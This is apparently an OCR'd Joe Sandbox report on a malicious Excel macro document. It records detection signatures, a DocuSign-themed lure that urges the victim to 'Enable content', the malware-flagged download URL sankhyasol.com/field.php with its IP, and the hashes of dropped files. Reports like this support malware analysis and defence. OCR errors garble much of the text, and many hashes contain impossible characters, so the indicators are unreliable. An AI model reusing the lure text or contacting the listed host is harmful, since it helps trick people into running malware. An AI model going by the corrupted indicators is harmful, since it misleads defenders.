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Time: 13:49:51

Date: 06/04/2021

Version: 31.0.0 Emerald
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Analysis Report Documents_1605962083_895739149.xIs...
Overview

General Information Detection Signatures Classification

Sample Documents_1605962083_
Name: 895739149.xIsm MALICIOUS Antivirus detection for URL or. domain

Analysis ID: 382679 Office document tries to convince Vi...

MD5: .
77941203a3ef209. Document exploit detected (UrlDown...
SHA1L:
a2c4f211a8007a6. Found Excel 4.0 Macro with suspicio...
SHAZ256: 05ec137601fe0ch. :
Excelldocumentsicontains an embe...
Infos: B oyt gt

|IP'addressiseeniiniconnection withio:.:

Most interesting Screenshot:

Potential documentexploitdetected...

Potential documentexploitdetected...

Hidden Macro 4.0 Potentialldocument explojt detected...

Score: 64 Uses a knownwebibrewser; User age:..
Range: 0-100
% Microsoft  wreaee  @Office o
Whitelisted: false
Confidence: 100%

e o Al 3 S s

Startup

= System is w7x64

. EXCEL.EXE (PID: 2492 cmdline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Signature Overview

@ AV Detection
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® Compliance

@ Software Vulnerabilities

@ Networking

@ System Summary

@ Hooking and other Techniques for Hiding and Protection

@ Click to jump to signature section
AV Detection: | |
Software Vulnerabilities: | |
System Summary: | |

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Mitre Att&ck Matrix

Remote
Initial Privilege  Defense Credential Lateral Command Network Service
Access Execution Persistence Escalation Evasion Access Discovery Movement Collection Exfiltration and Control Effects Effects In
Valid Scripting Path Path Masquerading oS File and Remote Data from  Exfiltration Non- Eavesdrop on  Remotely M
Accounts Interception  Interception Credential Directory Services Local Over Other Application Insecure Track Device Sy
Dumping  Discovery System Network Layer Network Without Pi
Medium Protocol Communication Authorization
Default  Exploitation for Boot or Boot or Disable or Modify LSASS System Remote Data from  Exfiltration Application Exploit SS7 to  Remotely D
Accounts Client Logon Logon Tools Memory  Information Desktop Removable Over Layer Redirect Phone Wipe Data  Lc
Execution Initialization  Initialization Discovery §§ Protocol Media Bluetooth  Protocol Calls/SMS Without
Scripts Scripts Authorization
Domain At (Linux) Logon Script Logon Scripting Security  Query SMB/Windows Data from Automated Ingress Tool Exploit SS7to Obtain Di
Accounts (Windows)  Script Account  Registry Admin Shares Network Exfiltration Transfer Track Device  Device Di
(Windows) Manager Shared Location Cloud Di
Drive Backups

Behavior Graph
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@ EXCEL.EXE

Screenshots

Thumbnails

ID:

Sample:
Startdate:
Architecture:

Score:

Behavior Graph
382679
Documents_1605962083_895739...
06/04/2021
WINDOWS
64

sankhyasol.com

148.66.138.148, 49165, 80 dropped

AS-26496-GO-DADDY-COM-LLCUS

Singapore

Hide Legend
Legend:
Process
Signature
Created File
DNS/IP Info
Is Dropped

@+ EBO0C]

Is Windows Process

*
*n

Number of created Registry Values

Number of created Files

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

L@ 2 )

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

-
&
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Documents_1605962083_895739149 - Microsoft Excel - Documents 1605962083 _895739149

Home Insert Page Layout Formulas Data Review View

":‘ - Calibri -1 ==/
53 Copy ~
# Format Painter
Clipboard 3 Font Alignment

S Wrap Text

B I U-| i 55 Merge & Center ~

¥ AuteSum -

| e e

§ - % » | %30 Conditional Format Cell

Formatting - as Table - Styles -

Humber Styles

Insert

Delete Format

&2 Clear =
Cells

o B8
2@ o @ =

i &

Sort & Find &

Filt
Editing

er~ Select™

Alll 2

D G H 1

J

DocuSlgn_

THISE STEPS ARE REQUIRED TO FULLY DECRYPT THE DOCUMENT,

ENCRYPTED BY DOCUSIGN.

Click on "Enable editing" to unlock the editing document downloaded from the internet.
@ Protected View This file originated from an Internet location and might be unsafe. Click for more details.

Click on "Enable content" to perform Microsoft Offi

the decryption of the document.

@ Security Warning  Macros have been disabled.

=. Microsoft tJ McAfee

W4+ H| Docu Sign® Docsl %]
Ready |

ce Decryption Core to start

Enable Content

ElOffice

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches
Dropped Files

No Antivirus matches
Unpacked PE Files
No Antivirus matches
Domains

No Antivirus matches

URLs

Source

hitp:/'sankhyasol.com/field.php

Copyright Joe Security LLC 2021

Detection

100%

Scanner

Avira URL Cloud

Label

malware

Link
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Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation

sankhyasol.com 148.66.138.148 true false unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation

hitp:/'sankhyasol.com/field.php true e Avira URL Cloud: malware unknown

Contacted IPs

»
l..
] No. of IPs < 25%
B 25% < No. of IPs < 50% /)'
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs
Public
P Domain Country Flag ASN ASN Name Malicious
148.66.138.148 sankhyasol.com Singapore e} 26496 AS-26496-GO-DADDY- false
COM-LLCUS
General Information
Joe Sandbox Version: 31.0.0 Emerald
Analysis ID: 382679
Start date: 06.04.2021
Start time: 13:49:51
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 4m 28s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: Documents_1605962083_895739149.xlsm
Cookbook file name: defaultwindowsofficecookbook.jbs
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Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

IPs

Match
148.66.138.148

Domains

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

4

o ©o o o

e EGA enabled
e HDC enabled
e AMSI enabled

default
Timeout
MAL
mal64.expl.evad.winXLSM@1/13@1/1
e Adjust boot time
e Enable AMSI
Found application associated with file extension:
Xlsm
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down
Close Viewer

Show All
e Exclude process from analysis (whitelisted):
dlilhost.exe
* Report size getting too big, too many NtCreateFile
calls found.
e Report size getting too big, too many
NtQueryAttributesFile calls found.

Detection Link Context

malicious Browse e sankhyaso
l.com/field.php

malicious Browse e sankhyaso
l.com/field.php

malicious Browse e sankhyaso
l.com/field.php

malicious Browse e sankhyaso
l.com/field.php

malicious Browse e sankhyaso
l.com/field.php

malicious Browse e sankhyaso
l.com/field.php

malicious Browse e sankhyaso
l.com/field.php

malicious Browse e sankhyaso
l.com/field.php

malicious Browse e sankhyaso
l.com/field.php

malicious Browse e sankhyaso
l.com/field.php
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https://view.joesandbox.com/analysis/290973/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290973/html/none?idtype=webid
https://view.joesandbox.com/analysis/290972/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290972/html/none?idtype=webid
https://view.joesandbox.com/analysis/290302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290302/html/none?idtype=webid
https://view.joesandbox.com/analysis/290299/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290299/html/none?idtype=webid
https://view.joesandbox.com/analysis/290291/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290291/html/none?idtype=webid
https://view.joesandbox.com/analysis/290289/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290289/html/none?idtype=webid
https://view.joesandbox.com/analysis/290287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290287/html/none?idtype=webid
https://view.joesandbox.com/analysis/290283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290283/html/none?idtype=webid
https://view.joesandbox.com/analysis/290282/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290282/html/none?idtype=webid
https://view.joesandbox.com/analysis/290276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290276/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256 Detection Link Context
sankhyasol.com _ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
ASN
Match Associated Sample Name /| URL SHA 256 Detection Link Context
AS-26496-GO-DADDY-COM-LLCUS  [Powersheiltinputipsi " Get hash malicious Browse o 166.62.10.32
_ Get hash malicious Browse e 43.255.154.56
_ Get hash malicious Browse e 184.168.13
1.241
_ Get hash malicious Browse e 184.168.13
1.241
_ Get hash malicious Browse e 50.62.198.97
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 184.168.13
1.241
_ Get hash malicious Browse e 184.168.13
1.241
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 148.66.138.148
_ Get hash malicious Browse e 166.62.10.32
_ Get hash malicious Browse e 166.62.10.32
_ Get hash malicious Browse e 43.255.154.56
JA3 Fingerprints
No context
Dropped Files
No context
Created / dropped Files
C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\27FB0OE16.png
Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
File Type: PNG image data, 30 x 29, 8-bit/color RGB, non-interlaced
Category: dropped
Size (bytes): 1713
Entropy (8bit):  7.854768499116331
Encrypted: false
SSDEEP: 24:FcAKxKrdxqpAJ4fcYfelzT7uK5CVPi96gKDEc6VIUMHEDBUBCcfCfahijedWg:6AKxKzY FcgejwVebnDEc6gBo4Dlkg
MD5: T45E9775F9F61C9BFC2D13AA3AB16A2A
SHA1L: E9EB42E8723A4112722AFADOA8B9FA9468168C78
SHA-256: E31538CF9239944E7C174D50FB6C75CC042D13594A79F69DF2DA97874241D7EA
SHA-512: BAEFEE949211CD71AF1074515B932E2AA3D894F3C53D493B15BD2C9B582013DD5F52D59278B077799C98F09C27228CA87D3AC130697C02C5E02117108C9F486/
Malicious: false
Reputation: moderate, very likely benign file
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https://view.joesandbox.com/analysis/290973/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290973/html/none?idtype=webid
https://view.joesandbox.com/analysis/290972/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290972/html/none?idtype=webid
https://view.joesandbox.com/analysis/290302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290302/html/none?idtype=webid
https://view.joesandbox.com/analysis/290299/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290299/html/none?idtype=webid
https://view.joesandbox.com/analysis/290291/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290291/html/none?idtype=webid
https://view.joesandbox.com/analysis/290289/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290289/html/none?idtype=webid
https://view.joesandbox.com/analysis/290287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290287/html/none?idtype=webid
https://view.joesandbox.com/analysis/290283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290283/html/none?idtype=webid
https://view.joesandbox.com/analysis/290282/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290282/html/none?idtype=webid
https://view.joesandbox.com/analysis/290276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290276/html/none?idtype=webid
https://view.joesandbox.com/analysis/291109/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291109/html/none?idtype=webid
https://view.joesandbox.com/analysis/291103/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291103/html/none?idtype=webid
https://view.joesandbox.com/analysis/291086/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291086/html/none?idtype=webid
https://view.joesandbox.com/analysis/291074/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291074/html/none?idtype=webid
https://view.joesandbox.com/analysis/290979/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290979/html/none?idtype=webid
https://view.joesandbox.com/analysis/290973/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290973/html/none?idtype=webid
https://view.joesandbox.com/analysis/290972/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290972/html/none?idtype=webid
https://view.joesandbox.com/analysis/290798/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290798/html/none?idtype=webid
https://view.joesandbox.com/analysis/290305/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290305/html/none?idtype=webid
https://view.joesandbox.com/analysis/290302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290302/html/none?idtype=webid
https://view.joesandbox.com/analysis/290299/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290299/html/none?idtype=webid
https://view.joesandbox.com/analysis/290291/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290291/html/none?idtype=webid
https://view.joesandbox.com/analysis/290289/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290289/html/none?idtype=webid
https://view.joesandbox.com/analysis/290287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290287/html/none?idtype=webid
https://view.joesandbox.com/analysis/290283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290283/html/none?idtype=webid
https://view.joesandbox.com/analysis/290282/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290282/html/none?idtype=webid
https://view.joesandbox.com/analysis/290276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290276/html/none?idtype=webid
https://view.joesandbox.com/analysis/290264/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290264/html/none?idtype=webid
https://view.joesandbox.com/analysis/290262/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290262/html/none?idtype=webid
https://view.joesandbox.com/analysis/290149/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290149/html/none?idtype=webid

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\27FB0OE16.png

Preview:

0Z..NU.Z...Z....v:VG.....".A..A.D.Ar..KhDD.df. {..}..[Z.€]...v.=.n...a.C..<....?
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2D8C3523.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 264 x 113, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 9924

Entropy (8bit): 7.973758306371751

Encrypted: false

SSDEEP: 192:50XrzGktAQUKDfw4om9PEK9u27pwnJyV028/tgXEoCWoB:s09G+nVEYu270IW/+XEoCWoB
MD5: B34FB4F2FOF9E70B72BA3AFD028CD97C

SHAL: C6868336F78DEA1E718965DF3341039581DB5B5A

SHA-256: 189D420D344A694FD1928ABACBEC94D9F0EF52BE036CEB8144A9D9A6DD14EAEB
SHA-512: 4795600917F8A67A6C5CBD5713CAACE74E0483F8E6BB6DISEABG3BF24A0F71E537E7F8ABD26808630B247D454A3F467595C8343EEB4EAIBAFAB49D81964158D
Malicious: false

Reputation: moderate, very likely benign file

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\39690E29.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 30 x 30, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 1792

Entropy (8bit):  7.852456323448507

Encrypted: false

SSDEEP: 48:02DcSOVqwOWO1TJIT8/UGUsVMsZKRJzDeDI5ShHFba:OudOVaqwCpJ3GRvecJ3eOhFG

MD5: FC475BA24ED6FFB08766AA076689DB6B

SHA1L: CED2C4B64F54E11D79190714331C52B5157B1429

SHA-256: BOE239E6DD0O8FCB88CB5475DCAB60AD4EF32D16287C5734E93852162D82C405B

SHA-512: B53D43F2B672080E313E159762A803896AC1AF8BD79325C11B736C1A47A3CAF62C40A7DA79C2CEB560BAE7D1A8F554E3EOEDDS5B480A4E8F269A7CESFC55B84
7

Malicious: false

Reputation: moderate, very likely benign file

Preview:
PNG........ IHDR.............. R9.....sRGB
%...RIY.V.0." %.K...j5..,.Jt*
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C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\5DB5A4C8.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 178 x 76, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 5744

Entropy (8bit): 7.966496386988271

Encrypted: false

SSDEEP: 96:4uJgumnoYk22FLjJq17cpKsv+CHISBX|l1e+HCLDI3kjH1erj+uYU2:4CgJlfkfJA7ixCxqe+GDhkTlerj+uYf

MD5: 9AD30E24270C495AE68EAF3ALEEECBFB

SHA1L: 8642D256E7FFBEF5804A2D2220A1FE475A99DC36

SHA-256: 6D3EAD431ABD110369EFABC6F2E474DC24FA3D7EEC28DE43456407C5BACD6D20

SHA-512: EB156DD0686BAAE4F46B0OBOC01838DA7225529D3B31912568D36A1CC07BEOO6EEAD31F464B0252C3A8471ACA71E86EEE9185FE705ABAEO8C56B15C63CC891A
D5

Malicious: false

Reputation: moderate, very likely benign file

Preview:

.......... +.....IDATXMN\ATU..U..@@. .b..su....."...+k.Aeu..rX.*feE..(M.....b..BB.P.f&S_.~w&.l.aH..."..0..........u.2.1..."...8_
f.ha.]...2%...... ,..S..e...)<iv.XD'"..6.E.Sxt....NN-I........ 5..Z.,..-L.k™9.Yt....9.{f;..f./Mh...B..GK....FG..
...5...MN.vgp"+.|.m[&11..<0...2...EQ4.H..ZM... #£.T.....vS. .p..)........ 1..33r?.9q.V.. X..h..T._Zr2g..WN...A./.W...P....q.By.49..5M--.e...5}..{ L.s4M./Xx2....."...I>s..4U...]...

(5.80>.X.[.xS.w)../.c.Lh..a..uQ.fd....jh.Z.d..(.=....#.....0y....9 =2. XEL=En ke {4 bl T -heFouxe L NXALLL.Clbl8 |F.$.4..... &?.>#.d.\p.R..k..>t0?.-3g..
b......s.0..E...40..\0=.70=z...u1$n..6..C.JA.X..Z.tX......LL.W....P..h.@..+q..F kcl..x\>.....0.4..p....}.~e...).W....%Q.3W...
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C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\6F6F568D.png

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 288 x 77, 8-bit/color RGB, non-interlaced

dropped

23989

7.989754044300238

false
384:SGjFcILI+HCggce/h3GXoQjZVVawDIPsTDGY9RIcNc+3JYOKEtWhfEWa92ppgMoF3:S5pIMCgzGo0OzVawisTDGY9Rs3JYhEtqy
839795652A8FE78F26F4D86D757ABDES

979E5B90C72EA3ESEIDIB506AFDCI81BFCA61B60
1A9EFOE2F66682B532D15457635920067C4F29EF762D2E8SA3E0363B4CF39C13E
E6D5CB06679832DE768E23EF42B9780E4E8327A057A3EA0AGCD5B76908B210078EF659CA44C8723960AB59A0DB85A052C45E7A29D7FABA643275BA5F210F6772
false

moderate, very likely benign file

7..9....8.6/...... E.BB....yw..w.-.FF.g.5~5..ivv."..U.Tu..8.../=..R9s.Rn....Ry....@..V.m).

.lea.$.(.e..ee. I$SQ|y .0.@.....p..yx.b.~..Z" Xcf,. {.0...."..9K ;.. ..%.@]?

AL W..Z. . T.Uul.V. PS[j Q) Ve UL AL 0w, jUU. b, EWLLRL. ... U.X..SKV..0&..2.)....}._.

mI .|.0\...0..7c.a3'.2}...u.. gSe S @1.1.J.UgW...q..09"0.g;V.r*v...U.0..._?.5|..x..m..Z...6...._.l..dc...K. U.c+; KA.
e W(. fuB=.p..w=. D .q. & 8V ..Uu. b#z Xyo X *, w..U ..... sW2 du~~)leqga#rf mlw_..li.bsF.L }.6V.w...z

bCU..n....Ue.,~b;K.Q.KUIUR."../.....Y.

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\6F827B1F.emf

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

1108

1.9788140868910489

false
12:YnnuOO0plqHUThpOFIISFk1EV/iztLAcqdlgDWWKMXNuivnAf:Ynu5OHIOxywLwLpnQ
0D94E1177F230340FF5F1363B68ADA08
67ABCEE0528F44BA1B6EB50EC4ADABF5E6CTELFC
AB58818AE1864807B22F8A58A75F7FA8703ECB19A2352BDB47469F366B868E59

4EASFEB6A5DCC88F155D961D6DEF32FEG49F7546AB0C4A2148547500DEAAFEEE9BOG6EGODAAB397B92AACEL1B21234844121DA1DBC61EA06C85C2408FEG0121AL
EC

false

moderate, very likely benign file

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\78E8932A.png

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 168 x 72, 8-bit/color RGB, non-interlaced

dropped

6177

7.959095006853368

false
96:j6KDvZ3QXkQ288GMDBmM6hEeWyS8ITRIVgIgPENbYhbY0Y4pxCpAueydMT1uZMrOa:j6KTV8WBPhqd9qqYTB6peyeT1loMrOa
C7ED6FC355D8632DB1464BE3D56BF5CC

615484A338922DDF00BI03CFA48060AD60D70207
26000244FBB0C6B2D76F80166CE85700BC96141C6CD80F8B399CA6F15FE3515C
FB4AEO9EACD15A4FE778BDF366808C4F9FE403C4054F86704C03C87C7016E7D7A5772677B69064FCB5F1B9345D80C4263A58EABBSEICA2B717E24E2B19B85A9
false

moderate, very likely benign file

....... H.....m)a...sSRGB........pHYS.........+.....IDATX ...E..1.Y. ..."3.(.D.....A..(.....C.X.QP..b.UQAdA..9':Hf .f.....s....._A..8.3..VU.......Z.[.q.P.-9.b..q......|.r F
..@..;n.q..(.bt.q..>F9..[\1.]v..A.G.)y._3..*3M.YG7.J.)..RK]u.j}.*\] =}.gN .sV&.F.a.@..Vs.P..%.A.....~.w..P.Be.-].4..arss.9~.8d.@.d...."..?.G.
. G W2 WL SHAL WAL E..-_.|..D-..#G.{.<r.P.K.${D...kzzz.R...."2..0;........ #....th..g..gU.r>G.... JONO: T p..c.].....M.6."0.].....8
g...RSS. YBB M] J1&:%Jd.x..70....d.*U..233.].......E.m}.../ A nt. X.b,. {<...=..... 3....2....v..]0e} 2wy )SLECt UL AFLLL&...322.6m.../.[J.a.=..%KX....E...ys.....z...i.Z

Vo ANXA M 1w.g..

C:\Users\user\AppData\Local\Temp\D8DE0000

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
data

dropped

80447

7.8853212587074335

false
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C:\Users\user\AppData\Local\Temp\D8DE0000

SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

1536:Wag5hUkpDwa8AeWVilWXWGHwIMVGolahaDHTU6hryF70Ng:WagckpDYAIIWXW2w2sTU2yF70m
FF71B72DC713F5B0302778515EF12EF1

180666F55365875BCD729461742051D2F898DB21
68E03DFAD51D5314D9A1CB4A65865C3DCID5D3114E7A4B4A45A86B904C20145F

69658B736B5AD386D21D6A28C722DBD474685A50AFAFDF178925A70787BD6E66C1F46DES3A70A6C8E4426B970FDODABOB156843E75E7E20BD860D9034F85BES
B

false

.cL...(ed..u...EmH....K[..L.U....y.R..
...[Content_Types].xml ...(c.cccoeveiennennn

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Tue Apr 6 19:50:
40 2021, atime=Tue Apr 6 19:50:40 2021, length=8192, window=hide

dropped

867

4.482791870363173

false
12:85QYcLgXg/XAICPCHaXgzB8IB/EoVrUX+WnicvbOdIbDtZ3YiIMMEpxRIjKiTdJU:85IK/XTwz6lqjYeqvDv3q/rNru/
4C87C222CEAELF744F247D527A5D617C

FO0D194359C9DE32B1ECBC31405B3B4C18CB3DCC
E788E7B7301914EF6D3F68CA761C77F8AFOAAC30B5DC5348F62F14DEBA65F62E

833A31109800144FDD207EAOAOABAOLICE286DECBDDE2319CABOC35741B30AE593D7891E84ADCF9119919827587F32904865F0SAC2A8BCB5F1EEGC74C6B70A0!
D

false

Lo | SRR 7G...@"N&+..@ & ... oo i...P.O. 0. 400.../C\.coo) t1.....QK.X. Users. .......QK.X* ..o 6....Us.ers..@.s.hell3.2.d.lLl,
.-2.1.8.1.3....L.1.....Q.y..user.8.....QK.X.Q.y*...&=....U ..Alb.us....z.1....RU...Desktop.d.....QK.X.RU.*..._= ....D.eskto.p.@.s.hell3.2.dll,.-2.
1.7.6.9 i 8 [i2d0 L Ci\Users\. . # ...\\405464\Users.user\Desktop.......\....\....\....\....\.D.e.s.k.t.o.p 1SPS.XF.L
8C...&m.m..........~...5.-.1.-.5.-.2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6............ ... X.......405464.......... D_..3N..W..0r.[*....... }EKD_....3N..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Documents_1605962083_895739149.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:13 2020, mtime=Tue Apr 6 19:50:40 2021,
atime=Tue Apr 6 19:50:40 2021, length=80447, window=hide

dropped

2238

4.531183274475057

false

48:8Di/XT3IKEj4JZHpljR/Qh2Di/XT3IKEj4JZHpljR/Q/:8Di/XLIKEjKp8R/Qh2Di/XLIKEjKp8Ro

0965ADECBCBEAF693F71384E42E1E091

D2895FOCAEC9D6D8FEC337584023C0727D5EA0CY

FAC1A574B888EECFB50BBODBC6BCA1402D198B95CFC484948CE8CADED3F7ECAF
23802B72BE82955F2EF3D8E845AF33ADFF4734645C7013D32F00FFD8C6538B89248A41F8B182F44D27E4B8C68BBF73FESBAFFI6B8C1F7B1FB2D1097B26D3AAF!

false

LP.O. i 400, /C t.1.....QK.X..Users. ..........QK.X*.. 6....Us.ers..@.s.h.ell3.
2..d.ll,.-2.1.8.1.3....L.1.....Q.y..user.8.....QK.X.Q.y*...&=.... .. ...Q.y..Desktop.d......QK.X.Q.y*..._=.... D.e.s.kt.o.p..@.s.h.ell3.2..d
A11,.-2.1.7.6.9......2.t....RQ. .DOCUME~1.XLS. t....... Q.Y.Q.¥* .8 D.o.c.um.e.nts._.1.6.0.5.9.6.2.0.8.3._.8.9.5.7.3.9.1.4.9.. X...S.M.....ocerrrrrerrrr S8

..?2J.....C:\Users\..#.. \405464\Users.user\Desktop\Documents_1605962083_895739149.xIsm. . .. .D.e.s.k.t.o.p.\.D.o.c.um.e.nts._.1.6.
0.5.9.6.2.0.8.3._.8.9.5.7.3.9.1.4.9.. X.l.s.M....c....le.,.LB) . AGeccoe 1SPS.XF.L8C....&m.m............~...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6

A7.7.-1

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

ASCII text, with CRLF line terminators

dropped

145

4.8294227144552035

false
3:0yBVomxWqds9UfUQD1405S/9UfUQD14o0mxWqds9UfUQD14ov:dj/KUhh4ySIUhh4/KUhh4y
C2C383724036C4A4C7928281EA1739D6
65BE5AD41863C36977E4038CC88852B6537421AD
1CC389A2A63C14B73001DC431D2E4E196E1CFBD3ACC685915EACIBI2D74A3684
3D714C83283E442D05B61CF8CFDB6B01372181B75A43471281C4C5557B7845DFE6692B8991CE0C103169796C9F03F2087CFBBBD6ACF8E02E1559836FDF7D10A¢
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C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Malicious:

Preview:

false

Desktop.LNK=0..[misc]..Documents_1605962083_895739149.LNK=0..Documents_1605962083_895739149.LNK=0..[misc]..Documents_1605962083_895739149.LN
K=0..

C:\Users\user\Desktop\89DE0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

